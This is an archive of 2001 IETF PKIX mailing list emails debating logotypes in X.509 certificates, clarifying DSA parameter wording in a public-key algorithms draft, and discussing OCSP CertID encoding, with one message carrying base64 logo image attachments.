
Received: from localhost.localdomain ([206.48.156.90]) by above.proper.com (8.9.3/8.9.3) with ESMTP id MAA08665 for <[e-mail]>; Fri, 23 Mar 2001 12:48:50 -0800 (PST)
Received: from jperez ([192.168.4.178]) by localhost.localdomain (8.9.3/8.9.3) with SMTP id RAA26434; Fri, 23 Mar 2001 17:44:39 -0500
Reply-To: <[e-mail]>
From: =?iso-8859-1?Q?Juan_Carlos_P=E9rez_Aguayo?= <[e-mail]>
To: <[e-mail]>, <[e-mail]>
Subject: RE: draft meeting minutes, please comment 
Date: Fri, 23 Mar 2001 16:47:37 -0400
Message-ID: <001501c0b3da$7f8578f0$b204a8c0@jperez>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
In-Reply-To: <[e-mail]>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Importance: Normal

I'am working with the RFC2527 and I'am very interested in changes too.

Thanks

Juan Carlos



-----Original Message-----
From: Michael Helm [mailto:[e-mail]]
Sent: Viernes, 23 de Marzo de 2001 15:58
To: [e-mail]
Subject: Re: draft meeting minutes, please comment 


Stephen Kent writes:
> PKIX WG Meeting 3/20-01
  ...
> Evolving Specifications
        ...
> 	CP/CPS Framework

Tim Polk said a few brief words about this, but I don't 
have any more in my notes than are in the minutes.
I couldn't find a draft in the ietf site or in my
non-deleting mirror.   Is there anything out there?
We're working with the earlier framework & interested
in changes.  Thanks, ==mwh
Michael Helm
ESnet/LBNL


Received: from fionn.es.net (fionn.es.net [198.128.1.30]) by above.proper.com (8.9.3/8.9.3) with ESMTP id LAA04540 for <[e-mail]>; Fri, 23 Mar 2001 11:58:18 -0800 (PST)
Received: from fionn.es.net (LOCALHOST [127.0.0.1]) by fionn.es.net (LBNLMWH19/LBNLMWH11/ESOCF2) with ESMTP id LAA24579 for <[e-mail]>; Fri, 23 Mar 2001 11:58:20 -0800 (PST)
Message-Id: <[e-mail]>
To: [e-mail]
Reply-to: [e-mail]
Subject: Re: draft meeting minutes, please comment 
In-reply-to: Your message of "Wed, 21 Mar 2001 09:44:39 EST." <p05010400b6de6e8bbcdf@[128.33.238.79]> 
Date: Fri, 23 Mar 2001 11:58:20 -0800
From: Michael Helm <[e-mail]>

Stephen Kent writes:
> PKIX WG Meeting 3/20-01
  ...
> Evolving Specifications
        ...
> 	CP/CPS Framework

Tim Polk said a few brief words about this, but I don't 
have any more in my notes than are in the minutes.
I couldn't find a draft in the ietf site or in my
non-deleting mirror.   Is there anything out there?
We're working with the earlier framework & interested
in changes.  Thanks, ==mwh
Michael Helm
ESnet/LBNL


Received: from mailout02.sul.t-online.com (mailout02.sul.t-online.com [194.25.134.17]) by above.proper.com (8.9.3/8.9.3) with ESMTP id JAA28347 for <[e-mail]>; Fri, 23 Mar 2001 09:54:07 -0800 (PST)
Received: from fwd04.sul.t-online.com  by mailout02.sul.t-online.com with smtp  id 14gVl8-0006NX-03; Fri, 23 Mar 2001 18:53:58 +0100
Received: from junker.ms.inka.de (520010731148-0001@[217.1.21.87]) by fmrl04.sul.t-online.com with esmtp id 14gVkZ-1EvIFUC; Fri, 23 Mar 2001 18:53:23 +0100
Received: from stroeder.com (localhost [127.0.0.1]) by junker.ms.inka.de (Postfix) with ESMTP id E623868085 for <[e-mail]>; Fri, 23 Mar 2001 18:52:59 +0100 (CET)
Sender: [e-mail]
Message-ID: <[e-mail]>
Date: Fri, 23 Mar 2001 18:52:59 +0100
From: Michael =?iso-8859-1?Q?Str=F6der?= <[e-mail]>
Reply-To: [e-mail]
Organization: stroeder.com
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.18 i686)
X-Accept-Language: de-DE, de, en
MIME-Version: 1.0
To: [e-mail]
Subject: Re: Logotypes in certificates
References: <[e-mail]> <[e-mail]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Sender: [e-mail]

"David P. Kemp" wrote:
> 
> If no one can propose a method by which a CA should decide not to
> certify a logo "similar to" the Chevrolet bowtie or the AT&T deathstar
> for someone other than Chevrolet or AT&T respectively, then it is
> obvious that changing PKIX to support logos has *NO* value to the
> user.

And being a CA I would be so afraid of trademark issues that I would
refuse to decide about "similar" logos at all.

> I submit that it has negative value; a misleading logo
> in a certificate is worse than none at all.

I agree on that.

Ciao, Michael.


Received: from stingray.missi.ncsc.mil (stingray.missi.ncsc.mil [144.51.50.20]) by above.proper.com (8.9.3/8.9.3) with ESMTP id JAA27936 for <[e-mail]>; Fri, 23 Mar 2001 09:48:14 -0800 (PST)
Received: from stingray.missi.ncsc.mil (root@localhost) by stingray.missi.ncsc.mil with ESMTP id MAA03309 for <[e-mail]>; Fri, 23 Mar 2001 12:47:46 -0500 (EST)
Message-Id: <[e-mail]>
Sender: [e-mail]
Date: Fri, 23 Mar 2001 12:46:49 -0500
From: "David P. Kemp" <[e-mail]>
X-Mailer: Mozilla 4.5 [en] (X11; U; SunOS 5.7 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: [e-mail]
Subject: Re: Logotypes in certificates
References: <[e-mail]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

"Manger, James H" wrote:
> 
> An entity does not have to have a unique logo.  To be useful,
> it is sufficient that the logo unambiguously identifies
> an entity (within the context of use).
> 
   ... and
> 
> Images (e.g. logos) are a widely used form of identification (and for good
> reason, as they are very human-friendly (ease to use)).  I suggest PKIX
> should change to support logos, rather than trying to changes our five
> senses.



A correlary of the first statement is: If the logo does not
unambiguously identify an entity within the context of use, then
it is not useful.  I predict that Stefan will find it impossible
to propose a criterion against which it can be determined that
a CA is operating correctly, i.e. that the CA will certify a logo
that identifies the entity, and that it will not certify a logo
that mis-identifies the entity.

If no one can propose a method by which a CA should decide not to
certify a logo "similar to" the Chevrolet bowtie or the AT&T deathstar
for someone other than Chevrolet or AT&T respectively, then it is
obvious that changing PKIX to support logos has *NO* value to the
user.

I submit that it has negative value; a misleading logo
in a certificate is worse than none at all.


(I concede that a logo capability has marketing value to CAs and
entertainment value to us geeks.  But PKIX shouldn't be about
satisfying those urges at the expense of the user.)


Received: from mail.ec.auckland.ac.nz (mail.student.auckland.ac.nz [130.216.35.201]) by above.proper.com (8.9.3/8.9.3) with ESMTP id IAA23600 for <[e-mail]>; Fri, 23 Mar 2001 08:19:44 -0800 (PST)
Received: from kahu.cs.auckland.ac.nz ([e-mail] [130.216.36.13]) by mail.ec.auckland.ac.nz (8.9.3/8.8.6/cs-master) with SMTP id EAA20965; Sat, 24 Mar 2001 04:19:44 +1200 (NZST) (sender [e-mail])
Received: by kahu.cs.auckland.ac.nz (relaymail v0.9) id <98536438424555>; Sat, 24 Mar 2001 04:19:44 (NZST)
From: [e-mail] (Peter Gutmann)
To: [e-mail]
Subject: Re: Matching CertIDs between OCSP requests and responses
Cc: [e-mail]
Sender: [e-mail]
Reply-To: [e-mail]
X-Charge-To: pgut001
X-Authenticated: relaymail v0.9 on kahu.cs.auckland.ac.nz
Date: Sat, 24 Mar 2001 04:19:44 (NZST)
Message-ID: <[e-mail]>

Jeff Jacoby <[e-mail]> writes:

>Pardon my naivte, but couldn't the responder apply a different BER/DER
>encoding to CertID in its response, yet keeping the actual encoded values
>within a CertID identical?

Well, you couldn't use a different DER encoding (there's only one correct one),
and you wouldn't BER-encode signed data, so I doubt there's any real problem.

Peter.



Received: from po1.bbn.com (PO1.BBN.COM [192.1.50.38]) by above.proper.com (8.9.3/8.9.3) with ESMTP id HAA16356 for <[e-mail]>; Fri, 23 Mar 2001 07:12:24 -0800 (PST)
Received: from [128.33.4.39] (comsec.bbn.com [128.33.4.39]) by po1.bbn.com (8.9.1/8.9.1) with ESMTP id KAA24799; Fri, 23 Mar 2001 10:09:02 -0500 (EST)
Mime-Version: 1.0
X-Sender: [e-mail]
Message-Id: <p05010408b6e11769eb54@[128.33.4.39]>
In-Reply-To: <[e-mail]>
References: < <[e-mail]> <[e-mail]> <[e-mail]>
Date: Fri, 23 Mar 2001 10:11:25 -0500
To: Stefan Santesson <[e-mail]>
From: Stephen Kent <[e-mail]>
Subject: RE: Logotypes in certificates
Cc: [e-mail]
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

Stefan,

>Steve,
>
>There was a suggestion during a dinner yesterday that logotypes 
>actually could be provided as a policy qualifier. That would 
>actually solve your problem since you could directly tie acceptance 
>of logotypes in certificates to a particular policy.
>
>This enables you to control the path validation problem with the use 
>of policy constraints.
>

I'd be comfortable with that approach, except that we have 
discouraged use of policy qualifiers, as Russ noted.

Let me suggest again that you send another message that includes a 
comprehensive rationale for inclusion of logotypes, indicating what 
types of certs would be allowed to contain them, what reference form 
you envision, and what controls you think should be employed to 
prevent the sorts of misuse I warned about.  With a concrete 
proposal, and well articulated rationale on the table, I think we 
have a better chance of making progress.

Steve


Received: from maila.telia.com (maila.telia.com [194.22.194.231]) by above.proper.com (8.9.3/8.9.3) with ESMTP id CAA24582 for <[e-mail]>; Fri, 23 Mar 2001 02:51:21 -0800 (PST)
Received: from arport ([212.181.94.147]) by maila.telia.com (8.9.3/8.9.3) with SMTP id LAA16946; Fri, 23 Mar 2001 11:51:14 +0100 (CET)
Message-ID: <006e01c0b386$1b7d7410$0500a8c0@arport>
From: "Anders Rundgren" <[e-mail]>
To: "Dean Povey" <[e-mail]>
Cc: <[e-mail]>
References: <[e-mail]>
Subject: Re: Logotypes in certificates 
Date: Fri, 23 Mar 2001 11:43:33 +0100
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400

Dean,

>We also need to think beyond just logos.  What about photographs of employees
>in Certificates?  This is such a useful thing to be able to do.

That is indeed a working solution for folks working with digital ID-cards
although QC suggests another (much harder to implement and deploy)
solution.

>But I feel that perhaps the weight of opinion is against me :-(.

In IETF-PKIX yes, outside no.

Anders




Received: from thunder.dstc.qut.edu.au (thunder.dstc.qut.edu.au [131.181.71.1]) by above.proper.com (8.9.3/8.9.3) with ESMTP id CAA23094 for <[e-mail]>; Fri, 23 Mar 2001 02:30:41 -0800 (PST)
Received: from dstc.qut.edu.au (datsun.dstc.qut.edu.au [131.181.71.19]) by thunder.dstc.qut.edu.au (8.10.1/8.10.1) with ESMTP id f2NAUYm12689; Fri, 23 Mar 2001 20:30:34 +1000 (EST)
Message-Id: <[e-mail]>
To: Aram Perez <[e-mail]>
cc: [e-mail]
Subject: Re: Logotypes in certificates 
In-reply-to: Your message of "Thu, 22 Mar 2001 22:05:11 PST." <[e-mail]> 
Date: Fri, 23 Mar 2001 20:30:34 +1000
From: Dean Povey <[e-mail]>

>> This message is in MIME format. Since your mail reader does not understand
>this format, some or all of this message may not be legible.
>
>--MS_Mac_OE_3068143512_561796_MIME_Part
>Content-type: text/plain; charset="US-ASCII"
>Content-transfer-encoding: 7bit
>
>So which is the the real logo?
>

Similar logos deleted.  

This is of course a valid point, but one can find similar examples in names.

One of the major banks in Australia is "The Commonwealth Bank of
Australia " (commonly shortened to CBA) so which of the following is
the correct domain name for it? (All of these are valid domains with live
websites attached).

1. www.cba.com.au
2. www.cba.com
3. www.commbank.com.au
4. www.commonwealthbank.com

The answer is actually 3, although 1 redirects to this.  Actually I can't
be 100 percent sure that it is 3 since connecting to 
https://www.commbank.com.au redirects me to the non-ssl website so the
connection is not secured :-). 

We are not proposing that logos are less ambiguous than names, simply that they are another datapoint which the user can use to make their decision. Part of
the problem can be addressed by CAs only certifying registered trademarks
which they can easily check and which have to by nature be unlike other
trademarks.  Policy and procedures can deal with many of the objections that
people raise. 

We also need to think beyond just logos.  What about photographs of employees
in Certificates?  This is such a useful thing to be able to do.  I am 
cognisant of the reticence of people to stuff too much in certs, and I think
in general this is a good principle.  But providing it is done sensibly I think
there is a fair bit to suggest that a scheme like this would significantly
contribute to the security of PKI systems.

But I feel that perhaps the weight of opinion is against me :-(.

Cheers.
--
Dean Povey,         | e-m: [e-mail] | JCSI:  Java Crypto Toolkit 
Research Scientist  | ph:  [phone]   | uPKI:  C PKI toolkit for embedded
Security Unit, DSTC | fax: [phone]   |        systems
Brisbane, Australia | www: security.dstc.com | Oscar: C++ PKI toolkit 


Received: from cdc-info.cdc.informatik.tu-darmstadt.de (cdc-info.cdc.informatik.tu-darmstadt.de [130.83.23.100]) by above.proper.com (8.9.3/8.9.3) with ESMTP id CAA22465 for <[e-mail]>; Fri, 23 Mar 2001 02:28:13 -0800 (PST)
Received: from cdc-ws1.cdc.informatik.tu-darmstadt.de (cdc-ws1 [130.83.23.129]) by cdc-info.cdc.informatik.tu-darmstadt.de (Postfix) with ESMTP id 7132B2C7D; Fri, 23 Mar 2001 11:28:12 +0100 (MET)
Received: (from moeller@localhost) by cdc-ws1.cdc.informatik.tu-darmstadt.de (8.9.3+Sun/8.9.3) id LAA26935; Fri, 23 Mar 2001 11:28:10 +0100 (MET)
X-Authentication-Warning: cdc-ws1.cdc.informatik.tu-darmstadt.de: moeller set sender to [e-mail] using -f
Date: Fri, 23 Mar 2001 11:28:10 +0100
From: Bodo Moeller <[e-mail]>
To: [e-mail]
Cc: [e-mail]
Subject: Re: PKAlgs: 02: DSA Signature Keys needs re-wording
Message-ID: <[e-mail]>
References: <[e-mail]> <[e-mail]>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
User-Agent: Mutt/1.2i
In-Reply-To: <[e-mail]>; from [e-mail] on Fri, Mar 23, 2001 at 09:53:19AM +0100

On Fri, Mar 23, 2001 at 09:53:19AM +0100, [e-mail] wrote:

> Some further comments:
> 
> section 2.2.2 states:
> When the id-dsa-with-sha1 algorithm identifier appears as the algo-
>    rithm field in an AlgorithmIdentifier, the encoding SHALL omit the
>    parameters field.
> 
> This seems to contradict the intended contents of section 2.3.2 ?

No.  Section 2.3 is on algorithm identifiers for *keys* contained in
certificates; section 2.2 is on algorithm identifiers for *signatures*.
To verify a signature, you must already have the key, and that is
where you obtain the parameters from.

A couple of days ago I misunderstood the draft exactly as you do now
(except that I had looked at ECDSA where you now look at DSA :-).
So maybe it's not just me and the draft should have some additional
clarification in the text.  The confusion is caused by the use of
'AlgorithmIdentifiers' for two different purposes: in the
'signatureAlgorithm' field and in the 'subjectPublicKeyInfo' field.

Proposed change for the DSA case, section 2.2.2: Replace

   When the id-dsa-with-sha1 algorithm identifier appears as the algo-
   rithm field in an AlgorithmIdentifier, the encoding SHALL omit the
   parameters field.  [...]

by

   When the id-dsa-with-sha1 algorithm identifier appears as the algo-
   rithm field in a signatureAlgorithm field, the encoding SHALL omit the
   parameters field.  [...]

(Similarly for ECDSA.)

(But note that the 'id-dsa-with-sha1' algorithm identifier is never
actually used in 'subjectPublicKeyInfo' fields, so even when taken
out of context the original wording from 2.2.2 is not wrong
-- in 'subjectPublicKeyInfo' fields, you'd see the 'id-dsa' algorithm
identifier instead.)


-- 
Bodo Möller <[e-mail]>
PGP http://www.informatik.tu-darmstadt.de/TI/Mitarbeiter/moeller/0x36d2c658.html
* TU Darmstadt, Theoretische Informatik, Alexanderstr. 10, D-64283 Darmstadt
* Tel. [phone], Fax [phone]


Received: from mailo.vtcif.telstra.com.au (mailo.vtcif.telstra.com.au [202.12.144.17]) by above.proper.com (8.9.3/8.9.3) with ESMTP id BAA12242 for <[e-mail]>; Fri, 23 Mar 2001 01:01:22 -0800 (PST)
Received: (from uucp@localhost) by mailo.vtcif.telstra.com.au (8.8.2/8.6.9) id UAA23255 for <[e-mail]>; Fri, 23 Mar 2001 20:00:49 +1100 (EST)
Received: from maili.vtcif.telstra.com.au(202.12.142.17) via SMTP by mailo.vtcif.telstra.com.au, id smtpd0EHEXj; Fri Mar 23 20:00:20 2001
Received: (from uucp@localhost) by maili.vtcif.telstra.com.au (8.8.2/8.6.9) id UAA05282 for <[e-mail]>; Fri, 23 Mar 2001 20:00:19 +1100 (EST)
Received: from localhost(127.0.0.1), claiming to be "mail.cdn.telstra.com.au" via SMTP by localhost, id smtpd06Q2G_; Fri Mar 23 19:59:48 2001
Received: from ntmsg0028.corpmail.telstra.com.au (ntmsg0028.corpmail.telstra.com.au [192.168.174.24]) by mail.cdn.telstra.com.au (8.8.2/8.6.9) with ESMTP id TAA22903 for <[e-mail]>; Fri, 23 Mar 2001 19:59:48 +1100 (EST)
Received: by ntmsg0028.corpmail.telstra.com.au with Internet Mail Service (5.5.2650.21) id <GH1TG894>; Fri, 23 Mar 2001 19:59:46 +1100
Message-ID: <[e-mail]>
From: "Manger, James H" <[e-mail]>
To: [e-mail]
Subject: RE: Logotypes in certificates
Date: Fri, 23 Mar 2001 19:59:44 +1100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"

> [Aram Perez] So which is the real logo?

So which is your real name? "A. Perez", "Aram Perez" or "Mr Aram Perez"

Both questions are irrelevant.  An entity does not have to have a unique
logo.  To be useful, it is sufficient that the logo unambiguously identifies
an entity (within the context of use).




> [Michael Zolotarev] we touch the slippery path of using graphical
> images as a formal constituent of trust establishement

A logo does not establish trust.  A logo aids identification.  A logo can
help you recognise an entity you already trust.

Images (e.g. logos) are a widely used form of identification (and for good
reason, as they are very human-friendly (ease to use)).  I suggest PKIX
should change to support logos, rather than trying to changes our five
senses.




> [Stefan Santesson] logotypes could be provided as a policy qualifier

How on earth does a logo qualify the policy under which a certificate was
issued?  Using this field sounds like a major hack.


Received: from mail.brokat-le.com (mail.metechnology.com [194.172.189.65]) by above.proper.com (8.9.3/8.9.3) with ESMTP id AAA10662 for <[e-mail]>; Fri, 23 Mar 2001 00:52:18 -0800 (PST)
From: [e-mail]
Received: (qmail 16155 invoked by uid 304); 23 Mar 2001 08:53:20 -0000
Received: from [e-mail] by mail with qmail-scanner-0.94 (uvscan: v4.0.70/v4130. . Clean. Processed in 0.123085 secs); 23/03/2001 09:53:20
Received: from stefanh.brokat-le.com (HELO stefanh) (10.1.3.119) by mail.brokat-le.com with SMTP; 23 Mar 2001 08:53:20 -0000
Reply-To: <[e-mail]>
Sender: "Stefan Heiss" <[e-mail]>
To: <[e-mail]>
Subject: PKAlgs: 02: DSA Signature Keys needs re-wording
Date: Fri, 23 Mar 2001 09:53:19 +0100
Message-ID: <[e-mail]>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
In-Reply-To: <[e-mail]>
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3
Importance: Normal
Disposition-Notification-To: "Stefan Heiss" <[e-mail]>

Some further comments:

section 2.2.2 states:
When the id-dsa-with-sha1 algorithm identifier appears as the algo-
   rithm field in an AlgorithmIdentifier, the encoding SHALL omit the
   parameters field.

This seems to contradict the intended contents of section 2.3.2 ?


Some more minor editorials:
p.3: For each algorithm, the appropriate alternatives for the the keyUsage
...
                                                              ^
p.11: g specifies the generator of the multiplicative subgroup of order g;
                  ^----- (maybe better: "a generator" ?)
^----- should be "q"
p.11: q specifies the prime factor of p-1;
                  ^----- (maybe better: "a prime factor" ?)

p.16:
Maybe it would be nice to extend the following lines (similar to the
following definitions
of gnBasis, etc.):
   prime-field OBJECT IDENTIFIER ::= { id-fieldType 1 }
   Prime-p ::= INTEGER    -- Field size p (p in bits)
   characteristic-two-field OBJECT IDENTIFIER ::= { id-fieldType 2 }
   Characteristic-two ::= SEQUENCE {
   ...

   prime-field OBJECT IDENTIFIER ::= { id-fieldType 1 }
   -- type for parameters field for prime-field is Prime-p
   Prime-p ::= INTEGER    -- Field size p (p in bits)
   characteristic-two-field OBJECT IDENTIFIER ::= { id-fieldType 2 }
   -- type for parameters field for characteristic-two-field is
Characteristic-two
   Characteristic-two ::= SEQUENCE {
   ...

p.12,p.13,p.18  ... MAY assert either encipherOnly and decipherOnly.
                                                   ^----- or


> -----Original Message-----
> From: Manger, James H [mailto:[e-mail]]
> Sent: Friday, March 23, 2001 7:52 AM
> To: [e-mail]
> Subject: PKAlgs: 02: DSA Signature Keys needs re-wording
>
>
> Comments on draft-ietf-pkix-ipki-pkalgs-02.txt, section 2.3.2
> "DSA Signature
> Keys":
>
> The paragraph beginning "If the DSA algorithm parameters are
> absent" has 3
> sentences.  The 2nd and 3rd contradict each other (at least the 2nd is
> useless in light of the 3rd).  The next paragraph repeats the
> 1st and 3rd
> sentences.
> Delete something.  Perhaps replace the two paragraphs with
> "The DSA domain
> parameters may be omitted if and only if the certificate is
> signed using a
> DSA key that has the same parameters.".
>
> The DSA signature values r & s should not be mentioned in
> this section.
> They are appropriately, clearly and completely defined in
> section 2.2.2 "DSA
> Signature Algorithm"; with an OID, parameters (omit),
> Dss-Sig-Value syntax
> and mapping to a bit string.
> Delete the paragraph beginning "When signing, DSA algorithm
> generates", the
> definition of Dss-Sig-Value and the paragraph beginning "The encoded
> signature is conveyed".
>
>
> Minor editorials:
> Ecdsa-Sig-Value is ECDSA-Sig-Value in the ASN.1 module.
> RSAPublicKey, DSAPublicKey and DHPublicKey are not in the
> ASN.1 module.
> Comment with Dss-Parms in ASN.1 module should be "for DSA
> parameters", not
> "for DSA public key".
>



Received: from mailo.vtcif.telstra.com.au (mailo.vtcif.telstra.com.au [202.12.144.17]) by above.proper.com (8.9.3/8.9.3) with ESMTP id WAA19059 for <[e-mail]>; Thu, 22 Mar 2001 22:53:14 -0800 (PST)
Received: (from uucp@localhost) by mailo.vtcif.telstra.com.au (8.8.2/8.6.9) id RAA26650 for <[e-mail]>; Fri, 23 Mar 2001 17:52:47 +1100 (EST)
Received: from maili.vtcif.telstra.com.au(202.12.142.17) via SMTP by mailo.vtcif.telstra.com.au, id smtpdsAeoD_; Fri Mar 23 17:52:19 2001
Received: (from uucp@localhost) by maili.vtcif.telstra.com.au (8.8.2/8.6.9) id RAA09111 for <[e-mail]>; Fri, 23 Mar 2001 17:52:18 +1100 (EST)
Received: from localhost(127.0.0.1), claiming to be "mail.cdn.telstra.com.au" via SMTP by localhost, id smtpd0yTrnP; Fri Mar 23 17:51:46 2001
Received: from ntmsg0028.corpmail.telstra.com.au (ntmsg0028.corpmail.telstra.com.au [192.168.174.24]) by mail.cdn.telstra.com.au (8.8.2/8.6.9) with ESMTP id RAA29919 for <[e-mail]>; Fri, 23 Mar 2001 17:51:45 +1100 (EST)
Received: by ntmsg0028.corpmail.telstra.com.au with Internet Mail Service (5.5.2650.21) id <GH1TG614>; Fri, 23 Mar 2001 17:51:44 +1100
Message-ID: <[e-mail]>
From: "Manger, James H" <[e-mail]>
To: [e-mail]
Subject: PKAlgs: 02: DSA Signature Keys needs re-wording
Date: Fri, 23 Mar 2001 17:51:42 +1100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"

Comments on draft-ietf-pkix-ipki-pkalgs-02.txt, section 2.3.2 "DSA Signature
Keys":

The paragraph beginning "If the DSA algorithm parameters are absent" has 3
sentences.  The 2nd and 3rd contradict each other (at least the 2nd is
useless in light of the 3rd).  The next paragraph repeats the 1st and 3rd
sentences.
Delete something.  Perhaps replace the two paragraphs with "The DSA domain
parameters may be omitted if and only if the certificate is signed using a
DSA key that has the same parameters.".

The DSA signature values r & s should not be mentioned in this section.
They are appropriately, clearly and completely defined in section 2.2.2 "DSA
Signature Algorithm"; with an OID, parameters (omit), Dss-Sig-Value syntax
and mapping to a bit string.
Delete the paragraph beginning "When signing, DSA algorithm generates", the
definition of Dss-Sig-Value and the paragraph beginning "The encoded
signature is conveyed".


Minor editorials:
Ecdsa-Sig-Value is ECDSA-Sig-Value in the ASN.1 module.
RSAPublicKey, DSAPublicKey and DHPublicKey are not in the ASN.1 module.
Comment with Dss-Parms in ASN.1 module should be "for DSA parameters", not
"for DSA public key".



-----draft-ietf-pkix-ipki-pkalgs-02.txt
2.3.2  DSA Signature Keys

   The Digital Signature Algorithm (DSA) is defined in the Digital Sig-
   nature Standard (DSS) [FIPS 186]. The DSA OID supported by this pro-
   file is

        id-dsa ID ::= { iso(1) member-body(2) us(840) x9-57(10040)
                  x9cm(4) 1 }

   The id-dsa algorithm syntax includes optional domain parameters.
   These parameters are commonly referred to as p, q, and g.  When omit-
   ted, the parameters component MUST be omitted entirely. That is, the
   AlgorithmIdentifier MUST be a SEQUENCE of one component: the OBJECT
   IDENTIFIER id-dsa.

   If the DSA domain parameters are present in the subjectPublicKeyInfo
   AlgorithmIdentifier, the parameters are included using the following
   ASN.1 structure:

        Dss-Parms  ::=  SEQUENCE  {
            p             INTEGER,
            q             INTEGER,
            g             INTEGER  }


   If the DSA algorithm parameters are absent from the subjectPublicKey-
   Info AlgorithmIdentifier and the CA signed the subject certificate
   using DSA, then the certificate issuer's DSA parameters apply to the
   subject's DSA key.  If the DSA domain parameters are absent from the
   subjectPublicKeyInfo AlgorithmIdentifier and the CA signed the sub-
   ject certificate using a signature algorithm other than DSA, then the
   subject's DSA domain parameters are distributed by other means.  If
   the subjectPublicKeyInfo AlgorithmIdentifier field omits the parame-
   ters component and the CA signed the subject with a signature algo-
   rithm other than DSA, then clients MUST reject the certificate.

   The AlgorithmIdentifier within subjectPublicKeyInfo is the only place
   within a certificate where the parameters may be used. If the DSA
   domain parameters are absent from the subjectPublicKeyInfo Algorith-
   mIdentifier and the CA signed the subject certificate using DSA, then
   the certificate issuer's DSA domain parameters apply to the subject's
   DSA key.  If the DSA domain parameters are absent from the sub-
   jectPublicKeyInfo AlgorithmIdentifier and the CA signed the certifi-
   cate using a signature algorithm other than DSA, then clients shall
   not validate the certificate.

   When signing, DSA algorithm generates two values.  These values are
   commonly referred to as r and s.  To easily transfer these two values
   as one signature, they are ASN.1 encoded using the following ASN.1
   structure:

        Dss-Sig-Value  ::=  SEQUENCE  {
            r             INTEGER,
            s             INTEGER  }

   The encoded signature is conveyed as the value of the BIT STRING sig-
   nature in a Certificate or CertificateList.

   The DSA public key MUST be ASN.1 DER encoded as an INTEGER; this
   encoding shall be used as the contents (i.e., the value) of the sub-
   jectPublicKey component (a BIT STRING) of the SubjectPublicKeyInfo
   data element.

        DSAPublicKey ::= INTEGER -- public key, Y



Received: from mta6.snfc21.pbi.net (mta6.snfc21.pbi.net [206.13.28.240]) by above.proper.com (8.9.3/8.9.3) with ESMTP id WAA17363 for <[e-mail]>; Thu, 22 Mar 2001 22:06:13 -0800 (PST)
Received: from [206.170.2.253] by mta6.snfc21.pbi.net (Sun Internet Mail Server sims.3.5.2000.01.05.12.18.p9) with ESMTP id <[e-mail]> for [e-mail]; Thu, 22 Mar 2001 22:05:42 -0800 (PST)
Date: Thu, 22 Mar 2001 22:05:11 -0800
From: Aram Perez <[e-mail]>
Subject: Re: Logotypes in certificates
In-reply-to: <[e-mail]>
To: Dean Povey <[e-mail]>
Cc: [e-mail]
Message-id: <[e-mail]>
MIME-version: 1.0
Content-type: multipart/mixed; boundary="MS_Mac_OE_3068143512_561796_MIME_Part"
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022

> This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

--MS_Mac_OE_3068143512_561796_MIME_Part
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

So which is the the real logo?

Regards,
Aram Perez


--MS_Mac_OE_3068143512_561796_MIME_Part
Content-type: image/gif; name="visa2.gif";
 x-mac-creator="3842494D";
 x-mac-type="47494666"
Content-disposition: attachment
Content-transfer-encoding: base64

R0lGODlhRwAtALMAAP///zNmmQAzZv+ZAGaZmZnMzP/MzP/MmczMzP//zP/MM8zM/zNmZpmZ
zAAAAAAAACwAAAAARwAtAAAE/xDISau9OOvNu/9gKI5kaZ5aEAhsKxAX4QqI1Kj4QiFrywSE
WoaAK2IQjBnMMgtMkj6KbOYK6CwLKiuDaFp6rWu2OgFrW0KK2ZW2QFlOyri1BDRmwsJZaeme
2xVmcWUzaoUSa3V6AoOGPi4NGWYMOzORE14SmVIXfiwMUyx1FqFbTy6UE4stBZiHHGYEpaMV
dy4TtmiOLRRvn4AWqywLpY0VnqYAm5qoUlqXGL5OxVx4AKUCVxLCAtASvj7AANw62Bp4c6IV
2MDguhXSEsgC52xrbs0Xa7zObPKvF3xha1XJBS0Kuci4ajFonjhEe1L1eyeJygR2FKxh2Efx
1C0O4PJqpNvDasgZYwBGNrqhzSM/jnsOXjzT0oZGAJ6CzCQzkqQ6DNx+BgLojiaANUVwLDum
BcMmbHsizUOpTOGFngQrcIPGw2c3iC6y9sqHQZZZmXaS1kRAoGgAIQuSUr2WFMWHBQjy5rXL
t6/fv4ADkzBA+IDhw4gPECacQDCHwgcUDJhMubLly5UPOJaQwLBkzKBDX9YcOMFn0ahTDyDd
18AB1bBTsz5h4DRoBbhz695tG7UB2r0pKyBM27Xhy79HmB5toPFmAK4VOP/QubICxc/t1qaM
Pbt2ydene6c9+YD48SZeS0fPt/Zs9ijOw59Pv77gCAA7

--MS_Mac_OE_3068143512_561796_MIME_Part
Content-type: image/gif; name="visa1.gif";
 x-mac-creator="3842494D";
 x-mac-type="47494666"
Content-disposition: attachment
Content-transfer-encoding: base64

R0lGODlhJAAWAMQAAAAAAP///006PVhzmwkqU624xb3H083U3eXp7nuNogAzZpmsvP+ZAP5m
